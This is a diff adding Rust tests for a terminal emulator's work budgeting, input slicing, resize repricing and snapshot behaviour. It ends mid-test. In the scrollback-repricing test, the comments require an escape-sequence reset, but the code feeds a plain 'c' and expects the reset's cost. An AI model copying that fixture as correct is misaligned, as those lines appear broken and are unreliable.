+/// * **The cursor is not the witness.** Deleting the break lands on the same
+///   column; only the cost differs. A fixture checking where the cursor ended
+///   up passes over the mutant.
+/// * **An upper bound is not the witness either.** Deleting the break makes
+///   the loop run without charging -- measured `work == 1` for 29 ms of real
+///   scanning -- so `spent <= bound` *passes*. Under-charging is exactly the
+///   direction that hurts, and only an equality sees it.
+///
+/// The expected value is the scan the source performs: with no stop below the
+/// cursor, one pass over `cursor_column` cells, then a permanent fixed point.
+/// Both arms come to `columns` -- the telescoping sum of a walk, or one
+/// failed pass -- which is the bound this whole change buys.
+#[test]
+fn the_worst_atom_is_charged_for_exactly_what_it_scans() {
+    for columns in [80usize, 400, 1600] {
+        let (mut term, _a) = Terminal::new(
+            Size {
+                columns,
+                screen_lines: 50,
+                scrollback: 0,
+            },
+            Fences::ALL,
+        );
+        // Adversarial for cost: every tabstop gone, cursor at the right
+        // margin, count far past the width.
+        term.feed_fully(format!("\u{1b}[3g\u{1b}[1;{columns}H").as_bytes());
+        term.reset_stats();
+
+        term.feed_fully(b"\x1b[65535Z");
+
+        assert_eq!(term.stats().completed_units, 1, "one escape, one callback");
+        assert_eq!(
+            term.stats().completed_work,
+            1 + (columns as u64 - 1),
+            "one failed scan over the whole prefix, then a permanent fixed \
+             point: the charge is the escape plus that one scan. A loop that \
+             kept going would charge this much per iteration, 65535 times",
+        );
+        // The real guard on the loop: with a stop reachable, the charge must
+        // equal the distance actually travelled. A break-less loop scans the
+        // row 65535 times and charges for one crossing.
+        let (mut walk, _a) = Terminal::new(
+            Size {
+                columns,
+                screen_lines: 50,
+                scrollback: 0,
+            },
+            Fences::ALL,
+        );
+        // Default tabstops every 8: from the right margin a huge count walks
+        // to column 0, crossing every column on the way.
+        walk.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
+        walk.reset_stats();
+        walk.feed_fully(b"\x1b[65535Z");
+
+        assert_eq!(walk.term().grid().cursor.point.column.0, 0);
+        assert_eq!(
+            walk.stats().completed_work,
+            1 + (columns as u64 - 1),
+            "the charge must be the distance travelled: one unit for the \
+             escape plus one per column crossed",
+        );
+    }
+}
+
+/// CBT at column 0 is free, and stays free.
+///
+/// Kills: removing the `before == 0` guard. Upstream has its own `col == 0`
+/// break, so deleting the wrapper's copy is invisible to the cursor and
+/// invisible to timing -- it only shows up as work charged for a scan over
+/// zero cells that the wrapper attributed to itself. The left margin is also
+/// the position both earlier sweeps of this op homed to, which is why it is
+/// the position where a defect hides best.
+#[test]
+fn the_worst_atom_costs_nothing_at_the_left_margin() {
+    for columns in [80usize, 400] {
+        let (mut term, _a) = Terminal::new(
+            Size {
+                columns,
+                screen_lines: 50,
+                scrollback: 0,
+            },
+            Fences::ALL,
+        );
+        term.feed_fully(b"\x1b[3g\x1b[1;1H");
+        term.reset_stats();
+        term.feed_fully(b"\x1b[65535Z");
+
+        assert_eq!(
+            term.stats().completed_work,
+            1,
+            "at column 0 there is nothing to the left to scan, so the escape \
+             costs one unit and no cells",
+        );
+        assert_eq!(term.term().grid().cursor.point.column.0, 0);
+    }
+}
+
+/// The other adversary: every tabstop *set*, which maximises the number of
+/// delegated single steps rather than the length of one scan.
+///
+/// Kills: pricing CBT per-step-times-width. Cleared tabstops attack the
+/// clamp; all-set attacks the break, forcing `columns - 1` steps of one
+/// column each. The two layouts peak in different terms and neither may
+/// exceed the bound, so both are here -- a suite that tested only the famous
+/// one would miss the shape it chose against.
+#[test]
+fn the_worst_atom_is_bounded_under_the_layout_that_maximises_steps() {
+    for columns in [80usize, 400] {
+        let (mut term, _a) = Terminal::new(
+            Size {
+                columns,
+                screen_lines: 50,
+                scrollback: 100,
+            },
+            Fences::ALL,
+        );
+        // A tabstop in every column, then start from the right margin.
+        term.feed_fully(b"\x1b[3g");
+        for c in 1..=columns {
+            term.feed_fully(format!("\u{1b}[1;{c}H\u{1b}H").as_bytes());
+        }
+        term.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
+        term.reset_stats();
+
+        term.feed_fully(b"\x1b[65535Z");
+
+        assert_eq!(term.stats().completed_units, 1);
+        assert_eq!(
+            term.stats().completed_work,
+            1 + (columns as u64 - 1),
+            "with a stop in every column the walk crosses each of them once, \
+             so the charge is exact: one unit for the escape plus one per \
+             column crossed. An inequality here would not catch a 2x \
+             overcharge -- which lands on 159, not 160, because the escape's \
+             own unit is charged separately and is not doubled",
+        );
+        assert_eq!(
+            term.term().grid().cursor.point.column.0,
+            0,
+            "with a stop in every column the cursor must walk all the way",
+        );
+    }
+}
+
+/// Stopping CBT early does not change where the cursor lands.
+///
+/// The companion to the two cost tests above: they assert the work fell,
+/// this asserts the behaviour did not move. Kills: stopping at something that
+/// is *not* a fixed point -- `min(N, 1)`, or breaking whenever a scan fails
+/// even though an earlier step still had stops to find. Cases are the ones
+/// the exhaustive probe found interesting: no stops, one stop mid-row, and
+/// default stops, each from the right margin with a count past the width.
+#[test]
+fn stopping_the_worst_atom_early_preserves_its_semantics() {
+    let columns = 40usize;
+    let cursor_column = |setup: &str| -> usize {
+        let (mut term, _a) = Terminal::new(
+            Size {
+                columns,
+                screen_lines: 3,
+                scrollback: 0,
+            },
+            Fences::ALL,
+        );
+        term.feed_fully(setup.as_bytes());
+        term.term().grid().cursor.point.column.0
+    };
+
+    // No stops: the cursor cannot move, whatever the count.
+    assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[65535Z"), 39);
+    assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[40Z"), 39);
+    // One stop at column 20 (1-based 21): reachable once, then stuck.
+    let one_stop = "\u{1b}[3g\u{1b}[1;21H\u{1b}H\u{1b}[1;40H";
+    assert_eq!(
+        cursor_column(&format!("{one_stop}\u{1b}[65535Z")),
+        cursor_column(&format!("{one_stop}\u{1b}[40Z")),
+    );
+    // Default stops every 8: a large count walks all the way to column 0.
+    assert_eq!(cursor_column("\u{1b}[1;40H\u{1b}[65535Z"), 0);
+}
+
+/// A stream of atoms each worth more than the whole budget still drains, and
+/// every drain makes progress.
+///
+/// The liveness half of the bound. `max_drain_work` says how much one drain
+/// may cost; it says nothing about whether the loop terminates, and an
+/// oversized atom is exactly where a work-denominated scheduler could refuse
+/// to start one -- spending its budget checking, never advancing, and hanging
+/// the terminal with a full tail. RIS on a 10k-scrollback grid is ~16x the
+/// budget, so this is not hypothetical.
+///
+/// Kills: any yield that can decline to start work -- a `width` that reaches
+/// 0, a `remaining`-scaled slice that underflows to nothing, a guard that
+/// skips a slice deemed too expensive for what is left of the budget. Each of
+/// those is a plausible thing to reach for when an atom costs more than the
+/// whole budget, and each hangs a terminal on legitimate input.
+///
+/// Note on a mutant it does *not* kill: moving the budget check from after
+/// the slice to before it is **equivalent**, not a defect -- `spent` is zero
+/// at entry, so the first slice runs either way. Recorded because I wrote
+/// this test believing it caught that, ran the mutant, and it lived.
+#[test]
+fn atoms_larger_than_the_budget_still_make_progress() {
+    for (columns, lines, scrollback) in [(80usize, 24usize, 10_000usize), (200, 50, 10_000)] {
+        let (mut term, _a) = Terminal::new(
+            Size {
+                columns,
+                screen_lines: lines,
+                scrollback,
+            },
+            Fences::ALL,
+        );
+        let atoms = 200usize;
+        let bound = max_drain_work(columns, lines, scrollback);
+        assert!(
+            bound > WORK_BUDGET * 4,
+            "this arm is only meaningful where one atom dwarfs the budget",
+        );
+
+        let mut more = term.feed(&b"\x1bc".repeat(atoms));
+        // `feed` already drained once; seed the baseline with its work or the
+        // first delta measured below silently doubles.
+        let mut previous = term.stats().completed_work;
+        let mut worst = previous;
+        let mut calls = 1;
+        while more {
+            let before = term.pending_bytes();
+            more = term.drain();
+            assert!(
+                term.pending_bytes() < before,
+                "no progress: the tail stuck at {before} bytes",
+            );
+            let now = term.stats().completed_work;
+            worst = worst.max(now - previous);
+            previous = now;
+            calls += 1;
+            assert!(calls < 10_000, "drain did not terminate");
+        }
+
+        assert_eq!(term.stats().completed_units, atoms as u64, "lost units");
+        assert_eq!(term.pending_bytes(), 0);
+        assert!(
+            worst <= bound,
+            "{columns}x{lines}: worst drain spent {worst}, over the stated \
+             bound {bound}",
+        );
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs b/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs
new file mode 100644
index 0000000000..c70402d7cf
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs
@@ -0,0 +1,399 @@
+//! Adversarial slicing cases for resize debt, oversized atoms, and arithmetic extremes.
+//!
+//! **This is half a suite.** The remaining work-bound cases live in
+//! `slicing.rs`; the two files are one set of contracts split only for the
+//! file-size ratchet. A mutation check scoped with `--test slicing_adversarial`
+//! covers 4 of 76 package tests and can report a confident pass while the
+//! killing fixture sits in the sibling file. Sizing from the whole budget does
+//! exactly that, then dies under the package.
+//!
+//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
+
+use buzz_terminal::fences::{
+    max_atom_work, max_drain_work, slice_bytes_remaining, Fences, WORK_BUDGET,
+};
+use buzz_terminal::{Size, Terminal};
+
+/// A scrollback change reprices RIS *and* the slicing derived from it.
+///
+/// Kills: updating the feeder's columns and lines on resize but not its
+/// scrollback -- and, separately, a repair that reprices the charge while
+/// leaving slice width stale. Those are different failures and neither
+/// observable sees the other: fix only the charge and the drain count stays
+/// wrong; fix only the derivation and the charge stays wrong.
+///
+/// Two properties, because one is not enough:
+///
+/// * The exact RIS charge at the new depth. Direct, and it is what a
+///   pricing-only repair passes.
+/// * Equality with a terminal *constructed* at the new depth, across work
+///   and drain count. A resized feeder that is genuinely repaired is
+///   indistinguishable from one that was born there. This is stronger than a
+///   hand-picked threshold and immune to `WORK_BUDGET`/`MIN_SLICE` moving,
+///   since both arms move together -- and the sanity arm proves the
+///   comparison is deterministic before it is used to judge anything.
+///
+/// `completed_units` is deliberately *not* the discriminator here: it reads
+/// 200 in both arms, because the same callbacks run either way and only their
+/// cost and slicing differ. It is asserted anyway as the invariant that must
+/// hold -- no unit lost or duplicated across a resize -- while carrying none
+/// of the discrimination.
+#[test]
+fn a_scrollback_change_reprices_the_densest_atom_and_the_slicing() {
+    let shallow = Size {
+        columns: 200,
+        screen_lines: 50,
+        scrollback: 100,
+    };
+    let deep = Size {
+        scrollback: 10_000,
+        ..shallow
+    };
+    let cells = (deep.columns * deep.screen_lines) as u64;
+
+    // Preconditions, asserted rather than assumed, because both are easy to
+    // break by "generalising" this fixture later:
+    //
+    // * The geometry must let the *scheduling* fields separate. They only do
+    //   when the two depths land on different slice widths, and the deep side
+    //   is always floored -- so the shallow side must not be. At 1600x50 the
+    //   visible grid alone floors every depth from 0 upward, and three of the
+    //   four observables below go silently inert.
+    // * The payload must be RIS. It is the only escape reaching the only
+    //   weight carrying a scrollback term (`units::reset_state`); DECALN and
+    //   every other atom are priced on cells or columns and are blind to
+    //   depth, so a conforming repair would show work identical to the
+    //   control and the assertions here would invert into false failures.
+    assert!(
+        slice_bytes_remaining(
+            shallow.columns,
+            shallow.screen_lines,
+            shallow.scrollback,
+            0,
+            0
+        ) > 1,
+        "geometry cannot discriminate: the shallow arm is already floored",
+    );
+    assert_eq!(
+        slice_bytes_remaining(deep.columns, deep.screen_lines, deep.scrollback, 0, 0),
+        1,
+    );
+
+    // How a terminal at `size` retires 200 RIS: work, and how many
+    // acquisitions it took. Both are feeder behaviour, not helper output.
+    let run = |size: Size, resize_from: Option<Size>| {
+        let (mut term, _a) = Terminal::new(resize_from.unwrap_or(size), Fences::ALL);
+        if resize_from.is_some() {
+            term.resize(size);
+        }
+        term.reset_stats();
+        let mut drains = 1;
+        let mut more = term.feed(&b"c".repeat(200));
+        while more {
+            more = term.drain();
+            drains += 1;
+        }
+        (
+            term.stats().completed_units,
+            term.stats().completed_work,
+            drains,
+        )
+    };
+
+    let control = run(deep, None);
+    let sanity = run(deep, None);
+    assert_eq!(
+        control, sanity,
+        "two terminals built the same way must agree before this comparison          can judge anything",
+    );
+
+    let resized = run(deep, Some(shallow));
+    assert_eq!(resized.0, 200, "no unit may be lost or duplicated");
+    assert_eq!(
+        resized, control,
+        "a feeder resized to a depth must be indistinguishable from one          constructed at it -- in charge and in how many acquisitions it took",
+    );
+
+    // The exact charge, stated rather than inferred from the equality: a
+    // repair that made both arms equally *wrong* would pass the comparison.
+    let (mut term, _a) = Terminal::new(shallow, Fences::ALL);
+    term.resize(deep);
+    term.reset_stats();
+    term.feed_fully(b"c");
+    assert_eq!(
+        term.stats().completed_work,
+        2 * cells + (deep.scrollback * deep.columns) as u64,
+    );
+
+    // Shrinking retains the debt, and the fixture proves retention rather
+    // than merely permitting it.
+    //
+    // `>= fresh` alone is the predicate three of us proposed and all three
+    // withdrew: a feeder that dropped the debt reads *exactly* equal to a
+    // fresh shallow one, so `>=` passes on the unrepaired state. Strictness
+    // on the pricing field is what rejects it. The scheduling fields are
+    // asserted directionally with per-field signs -- `first_units` inverts,
+    // because a narrower slice retires fewer atoms per un-preemptable drain,
+    // which is the fence working -- but none of them is the discriminator:
+    // they separate only when the two depths straddle the slice floor, and
+    // `completed_work` separates at every positive depth gap.
+    //
+    // Every comparison is against the fresh control's own field, never a
+    // literal: a constant or geometry change must move both sides together,
+    // or the fixture starts asserting the arithmetic of the day it was
+    // written.
+    let measure = |term: &mut Terminal| {
+        term.reset_stats();
+        let mut drains = 1;
+        let mut more = term.feed(&b"\x1bc".repeat(200));
+        let first_units = term.stats().completed_units;
+        let first_pending = term.pending_bytes();
+        while more {
+            more = term.drain();
+            drains += 1;
+        }
+        (
+            first_units,
+            first_pending,
+            drains,
+            term.stats().completed_units,
+            term.stats().completed_work,
+        )
+    };
+
+    // The terminal under test stays alive past its measurement, so the
+    // geometry arm below runs on the feeder that actually shrank rather than
+    // on a lookalike that only ever grew.
+    let (mut shrunk_term, _a) = Terminal::new(shallow, Fences::ALL);
+    shrunk_term.resize(deep);
+    shrunk_term.resize(shallow);
+    let shrunk = measure(&mut shrunk_term);
+
+    let (mut fresh_term, _a) = Terminal::new(shallow, Fences::ALL);
+    let fresh = measure(&mut fresh_term);
+
+    assert_eq!(
+        shrunk.3, fresh.3,
+        "no unit may be lost on the way down either"
+    );
+    assert!(
+        shrunk.4 > fresh.4,
+        "a feeder that has been deep must still price deep after shrinking: \
+         {} against a fresh shallow {}. Equality here is the signature of a \
+         feeder that dropped the debt, which is indistinguishable from one \
+         that never had it",
+        shrunk.4,
+        fresh.4,
+    );
+    assert!(
+        shrunk.0 <= fresh.0,
+        "narrower slices retire fewer atoms per drain: {} against {}",
+        shrunk.0,
+        fresh.0,
+    );
+    assert!(
+        shrunk.1 >= fresh.1,
+        "and leave more pending after the first call: {} against {}",
+        shrunk.1,
+        fresh.1,
+    );
+    assert!(
+        shrunk.2 >= fresh.2,
+        "and take more drains to finish: {} against {}",
+        shrunk.2,
+        fresh.2,
+    );
+
+    // The debt survives a later resize on a different axis. Two things make
+    // this arm bite, and it was inert without either:
+    //
+    // * It runs on the terminal that actually went shallow -> deep ->
+    //   shallow. A lookalike that only ever grew passes it while an
+    //   implementation that retains on shrink and drops on the next geometry
+    //   change fails.
+    // * The resize carries the *shallow* depth. Passing the debt's own value
+    //   back in means `max(debt, new)` and a plain assignment agree, so the
+    //   arm cannot tell them apart -- which is how it survived a mutant that
+    //   retained only when columns and lines were unchanged.
+    shrunk_term.resize(Size {
+        columns: shallow.columns * 2,
+        screen_lines: shallow.screen_lines,
+        scrollback: shallow.scrollback,
+    });
+    shrunk_term.reset_stats();
+    shrunk_term.feed_fully(b"\x1bc");
+    assert_eq!(
+        shrunk_term.stats().completed_work,
+        2 * (shallow.columns * 2 * shallow.screen_lines) as u64
+            + (deep.scrollback * shallow.columns * 2) as u64,
+        "a columns resize must keep the deep scrollback debt, not fall back \
+         to the current shallow depth",
+    );
+}
+
+/// One oversized atom per drain -- no callback runs after the one that
+/// crosses the budget.
+///
+/// Kills: sizing slices from the *whole* budget rather than what remains of
+/// it. RIS at any real scrollback depth is worth more than an entire budget,
+/// so a slice wide enough for several callbacks runs several: measured
+/// `completed_units == 3` for `ESC c` followed by `Xmore`, where the law
+/// permits exactly one. The fix makes slice width a function of `remaining`,
+/// which is a single byte once an atom this size is in play.
+///
+/// Also asserts the tail survives it: yielding after the crossing atom is
+/// only correct if what follows is still parsed, exactly once.
+#[test]
+fn an_oversized_atom_yields_before_the_next_callback() {
+    let size = Size {
+        columns: 400,
+        screen_lines: 100,
+        scrollback: 10_000,
+    };
+    let (mut term, _a) = Terminal::new(size, Fences::ALL);
+    let ris_work =
+        2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
+    assert!(
+        ris_work > WORK_BUDGET,
+        "this arm needs an atom bigger than the whole budget",
+    );
+
+    let more = term.feed(b"\x1bcXmore");
+
+    assert!(more, "the drain must yield with a tail");
+    assert_eq!(
+        term.stats().completed_units,
+        1,
+        "exactly the crossing atom ran: a callback after it is post-atom \
+         overrun, which is the thing the budget cannot preempt and therefore \
+         must not start",
+    );
+    assert_eq!(term.stats().completed_work, ris_work);
+
+    while term.drain() {}
+    assert_eq!(
+        term.stats().completed_units,
+        1 + 5,
+        "the five characters after it must still be parsed, exactly once",
+    );
+    assert_eq!(term.pending_bytes(), 0);
+}
+
+/// Extreme dimensions saturate rather than wrapping or panicking.
+///
+/// Kills: `columns * lines` in `usize` before the cast. `Size` is unclamped
+/// and reaches the weight path from a caller, so this product is a reachable
+/// overflow -- a debug panic inside the accounting path, or a release wrap
+/// that reports the most expensive callback in the emulator as one of the
+/// cheapest. Saturating is the only one of the three that fails safe.
+#[test]
+fn extreme_dimensions_saturate_instead_of_wrapping() {
+    let huge = usize::MAX / 2;
+    assert_eq!(max_atom_work(huge, huge, huge), u64::MAX);
+    assert_eq!(max_drain_work(huge, huge, huge), u64::MAX);
+
+    // The *direction* is the assertion, not merely the absence of a panic.
+    // A wrapping build does not produce a slightly-wrong bound, it produces a
+    // tiny one -- and `slice_bytes_remaining` divides the budget by it, so an
+    // undercharged atom yields an *oversized* slice exactly when the atom is
+    // most expensive. Wrapping inverts the fence. So: the widest possible
+    // atom must give the narrowest possible slice.
+    assert_eq!(
+        slice_bytes_remaining(huge, huge, huge, 0, 0),
+        1,
+        "an overflowing grid must clamp to the smallest slice; a wrapped \
+         `max_atom_work` would hand back a generous one",
+    );
+    assert_eq!(
+        slice_bytes_remaining(huge, huge, huge, 0, 0),
+        1,
+        "and the escape at the front of such a grid gets a single byte",
+    );
+
+    // The property behind those endpoints, and the stronger statement: a
+    // grid that costs more may never buy a wider slice. Endpoints pin the
+    // ends; only a sweep catches a non-monotone middle, and a wrap *is* a
+    // non-monotone middle -- it makes the worst grid look cheap and hands it
+    // the widest slice of all.
+    // Every axis independently: a wrap on any one of the three products is a
+    // non-monotone middle on that axis alone, and sweeping only scrollback
+    // would miss a truncating `columns * lines`.
+    for (axis, at) in [
+        (
+            "scrollback",
+            (|n| slice_bytes_remaining(200, 50, n, 0, 0)) as fn(usize) -> usize,
+        ),
+        ("columns", |n| slice_bytes_remaining(n.max(1), 50, 0, 0, 0)),
+        ("lines", |n| slice_bytes_remaining(200, n.max(1), 0, 0, 0)),
+    ] {
+        let mut previous = usize::MAX;
+        for exponent in 0..60 {
+            let width = at(1usize << exponent);
+            assert!(
+                width <= previous,
+                "slice widened from {previous} to {width} at {axis} \
+                 2^{exponent}: more expensive grid, more generous slice",
+            );
+            assert!(width >= 1);
+            previous = width;
+        }
+    }
+
+    // Just past 32 bits on one axis: large enough that a narrowing cast
+    // shows (`1 << 32` truncates to 0 in `u32`, pricing an enormous grid at
+    // nothing), small enough that the honest answer is exact rather than
+    // saturated. Neither the extreme endpoints above nor the ordinary grids
+    // below can see this -- the endpoints saturate either way and the
+    // ordinary ones fit in 32 bits.
+    assert_eq!(max_atom_work(1 << 32, 1, 0), 2 * (1u64 << 32));
+    assert_eq!(max_atom_work(1, 1 << 32, 0), 2 * (1u64 << 32));
+    assert_eq!(max_atom_work(1, 1, 1 << 32), 2 + (1u64 << 32));
+
+    // Ordinary grids are untouched by the saturation: exact, not clamped.
+    assert_eq!(max_atom_work(80, 24, 0), 2 * 80 * 24);
+    assert_eq!(max_atom_work(80, 24, 100), 2 * 80 * 24 + 100 * 80);
+}
+
+/// An escape split across slices keeps its escape metering.
+///
+/// Kills: deciding "plain run or escape?" by looking only at the bytes ahead.
+/// After a slice ending on a lone `ESC`, the next byte is `c` -- which looks
+/// like ordinary text and is in fact a full grid reset. Meter it as text and
+/// the oversized atom rides into a wide slice with whatever follows, which is
+/// the post-atom overrun arriving through a different door. Found by the
+/// oversized-atom fixture failing after I "optimised" the plain path, which
+/// is the argument for keeping both.
+#[test]
+fn an_escape_split_across_slices_keeps_its_metering() {
+    let size = Size {
+        columns: 400,
+        screen_lines: 100,
+        scrollback: 10_000,
+    };
+    let ris_work =
+        2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
+
+    // Deliver the escape one byte at a time, so the parser is left mid-
+    // sequence with a tail that begins on the continuation byte.
+    let (mut term, _a) = Terminal::new(size, Fences::ALL);
+    term.feed(b"\x1b");
+    assert_eq!(
+        term.stats().completed_units,
+        0,
+        "ESC alone dispatches nothing"
+    );
+
+    let more = term.feed(b"cXmore");
+
+    assert!(more, "the completed RIS must still yield with a tail");
+    assert_eq!(
+        term.stats().completed_units,
+        1,
+        "the continuation byte completed a grid reset; nothing may run after it",
+    );
+    assert_eq!(term.stats().completed_work, ris_work);
+
+    while term.drain() {}
+    assert_eq!(term.stats().completed_units, 1 + 5);
+    assert_eq!(term.pending_bytes(), 0);
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs b/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs
new file mode 100644
index 0000000000..a7305b52f9
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs
@@ -0,0 +1,287 @@
+//! The attach contract: what a subscriber that arrives mid-stream is given,
+//! and what taking it must not cost the subscriber already there.
+//!
+//! `render()` reports damage -- what changed since someone last looked. That
+//! is the right thing for a steady-state renderer and the wrong thing for a
+//! newcomer, who needs the screen as it stands. `snapshot()` supplies that,
+//! and the delicate part is that it must do so *without* consuming damage:
+//! two subscribers share one terminal, and damage is a single shared cursor.
+
+use buzz_terminal::damage::Encoder;
+use buzz_terminal::fences::Fences;
+use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
+use std::sync::mpsc::Receiver;
+
+/// The receiver is returned rather than dropped: dropping it disconnects the
+/// channel and every subsequent listener send silently fails.
+fn terminal(columns: usize, screen_lines: usize) -> (SharedTerminal, Receiver<Action>) {
+    let size = Size {
+        columns,
+        screen_lines,
+        scrollback: 100,
+    };
+    let (term, actions) = Terminal::new(size, Fences::ALL);
+    (SharedTerminal::new(term), actions)
+}
+
+/// Collect the non-blank text of a frame's rows, for comparing what a
+/// subscriber can actually see.
+fn visible_text(frame: &buzz_terminal::damage::Frame) -> Vec<String> {
+    frame
+        .rows
+        .iter()
+        .map(|row| {
+            row.spans
+                .iter()
+                .map(|span| span.text.as_str())
+                .collect::<String>()
+                .trim_end()
+                .to_string()
+        })
+        .filter(|line| !line.is_empty())
+        .collect()
+}
+
+/// The reason `snapshot` exists. A subscriber that attaches mid-stream and
+/// starts from `render()` is handed only what changes next -- with a quiet
+/// terminal that is the cursor's line alone, so the scrollback-visible screen
+/// never arrives.
+#[test]
+fn a_late_render_shows_only_the_next_change_but_a_snapshot_shows_the_screen() {
+    let (shared, _actions) = terminal(20, 4);
+    shared.feed_fully(b"first\r\nsecond\r\nthird");
+
+    // The incumbent consumes the damage from that output.
+    let mut incumbent = Encoder::new();
+    let seen = visible_text(&shared.render(&mut incumbent));
+    assert_eq!(seen, vec!["first", "second", "third"]);
+
+    // A newcomer rendering now sees essentially nothing: damage is spent.
+    let mut latecomer = Encoder::new();
+    let by_render = visible_text(&shared.render(&mut latecomer));
+    assert!(
+        !by_render.contains(&"first".to_string()),
+        "a late render cannot show scrollback it never saw damaged, got {by_render:?}"
+    );
+
+    // The same newcomer snapshotting sees the whole viewport.
+    let mut attaching = Encoder::new();
+    let by_snapshot = shared.snapshot(&mut attaching);
+    assert_eq!(
+        visible_text(&by_snapshot),
+        vec!["first", "second", "third"],
+        "a snapshot must carry the visible viewport"
+    );
+    assert!(by_snapshot.full, "a snapshot is a repaint");
+}
+
+/// **The law: `snapshot()` must not consume damage.**
+///
+/// Two subscribers share one terminal and damage is one shared cursor, so a
+/// snapshot taken for an attaching subscriber must leave the incumbent's
+/// pending rows intact. A naive implementation that calls `damage()` passes a
+/// full-frame test while freezing every other subscriber -- the newcomer looks
+/// perfect and the incumbent silently stops updating.
+///
+/// The interleaving is the point: write, snapshot, *then* let the incumbent
+/// render. But the interleaving alone is not enough to discriminate, and the
+/// reason is this module's own rule 2 -- `Term::damage()` marks the cursor
+/// line on every call. So an incumbent owed only the line it is sitting on
+/// gets that line back even when its damage was stolen, and a naive snapshot
+/// passes.
+///
+/// The owed row therefore has to be somewhere the cursor is *not*. Here row 0
+/// is rewritten and the cursor is parked on row 3, so a theft leaves the
+/// incumbent holding a blank cursor line and nothing else.
+#[test]
+fn a_snapshot_does_not_steal_the_incumbents_damage() {
+    let (shared, _actions) = terminal(20, 4);
+
+    // An established renderer, caught up to a quiet terminal. The initial
+    // content is shorter than its replacement so the rewrite below covers it
+    // completely and no tail of it survives.
+    let mut incumbent = Encoder::new();
+    shared.feed_fully(b"old");
+    let _ = shared.render(&mut incumbent);
+
+    // Rewrite row 0, then park the cursor on row 3. The incumbent is now owed
+    // row 0, which is not the row the cursor will re-damage for free.
+    shared.feed_fully(b"\x1b[1;1HAFTER\x1b[4;1H");
+
+    // A second subscriber attaches and snapshots first.
+    let mut attaching = Encoder::new();
+    let attached = shared.snapshot(&mut attaching);
+    assert_eq!(
+        visible_text(&attached),
+        vec!["AFTER"],
+        "the newcomer sees the whole screen"
+    );
+
+    // The incumbent must still be delivered row 0.
+    let follow_up = shared.render(&mut incumbent);
+    assert!(
+        follow_up.rows.iter().any(|row| row.line == 0),
+        "snapshot consumed the incumbent's damage: row 0 was never delivered, \
+         got rows {:?}",
+        follow_up.rows.iter().map(|r| r.line).collect::<Vec<_>>()
+    );
+    assert!(
+        visible_text(&follow_up).contains(&"AFTER".to_string()),
+        "the incumbent must still see the row written before the snapshot, got {:?}",
+        visible_text(&follow_up)
+    );
+}
+
+/// A snapshot stamps the geometry it was captured under and resets the
+/// consumer's dedup state, so an encoder reused across a resize cannot carry
+/// hashes describing rows of a different width.
+#[test]
+fn a_snapshot_realigns_a_reused_encoders_dedup_state() {
+    let (shared, _actions) = terminal(20, 4);
+    shared.feed_fully(b"wide enough line");
+
+    let mut encoder = Encoder::new();
+    let before = shared.snapshot(&mut encoder);
+    assert_eq!(before.viewport.columns, 20);
+    let first_generation = before.viewport.generation;
+
+    let resized = shared.resize(Size {
+        columns: 10,
+        screen_lines: 4,
+        scrollback: 100,
+    });
+    assert_eq!(resized.columns, 10);
+    assert!(
+        resized.generation > first_generation,
+        "an applied resize advances the generation"
+    );
+
+    // Same encoder, new geometry: every row must be re-sent, not suppressed
+    // as unchanged against hashes taken at the old width.
+    let after = shared.snapshot(&mut encoder);
+    assert_eq!(
+        after.viewport.columns, 10,
+        "the capture-time grid is stamped"
+    );
+    // Columns alone does not identify a grid. `Viewport`'s own doc says the
+    // three fields travel together *because* a consumer comparing two of the
+    // three can be wrong -- and this fixture used to compare one. A resize
+    // that changed only `screen_lines`, or 20 -> 10 -> 20, leaves columns
+    // matching while the generation has moved. `resize.rs` asserts this on
+    // `render()` frames five times and never once on a snapshot, which is
+    // what Sami's T3 mutant walked through; Mari's reattach reads this stamp.
+    assert_eq!(
+        after.viewport, resized,
+        "a snapshot stamps the identity of the grid it actually captured"
+    );
+    assert!(after.full, "a snapshot is a repaint");
+    assert!(
+        !after.rows.is_empty(),
+        "stale hashes must not suppress rows after a resize"
+    );
+}
+
+/// A snapshot carries *every* row of the viewport, including the last one,
+/// and stamps the cursor plane truthfully.
+///
+/// Both properties are asserted here rather than in the fixtures above
+/// because of what those fixtures' helper hides: `visible_text` trims and
+/// drops empty lines, so a capture that skipped the bottom row of the screen
+/// reads identically to one that didn't whenever the content sits in the top
+/// rows -- which it does in every other fixture in this file. Sami's T2
+/// mutant (`0..screen_lines - 1`) survived all four for exactly that reason.
+/// So this fixture puts content on the last row and asserts the row *set*,
+/// not the text.
+///
+/// The cursor half is the same shape of gap: nothing checked that a snapshot's
+/// cursor was the terminal's cursor rather than a plausible default.
+#[test]
+fn a_snapshot_carries_every_row_and_the_true_cursor() {
+    let (shared, _actions) = terminal(20, 4);
+    // Write the bottom row of the screen, then park the cursor at line 4,
+    // column 6 (1-based) -- row 3, column 5 to us.
+    shared.feed_fully(b"\x1b[4;1Hbottom\x1b[4;6H");
+
+    let mut attaching = Encoder::new();
+    let frame = shared.snapshot(&mut attaching);
+
+    let lines: Vec<usize> = frame.rows.iter().map(|row| row.line).collect();
+    assert_eq!(
+        lines,
+        vec![0, 1, 2, 3],
+        "a snapshot must carry the whole viewport, last row included"
+    );
+    assert!(
+        visible_text(&frame).contains(&"bottom".to_string()),
+        "content on the last row must reach an attaching subscriber, got {:?}",
+        visible_text(&frame)
+    );
+
+    assert_eq!(frame.cursor.line, 3, "the snapshot's cursor line is real");
+    assert_eq!(
+        frame.cursor.column, 5,
+        "the snapshot's cursor column is real"
+    );
+    assert!(frame.cursor.visible, "the cursor is shown by default");
+
+    // ...and a hidden cursor is reported hidden, so `visible` tracks the mode
+    // rather than being a constant that happens to match the default.
+    shared.feed_fully(b"\x1b[?25l");
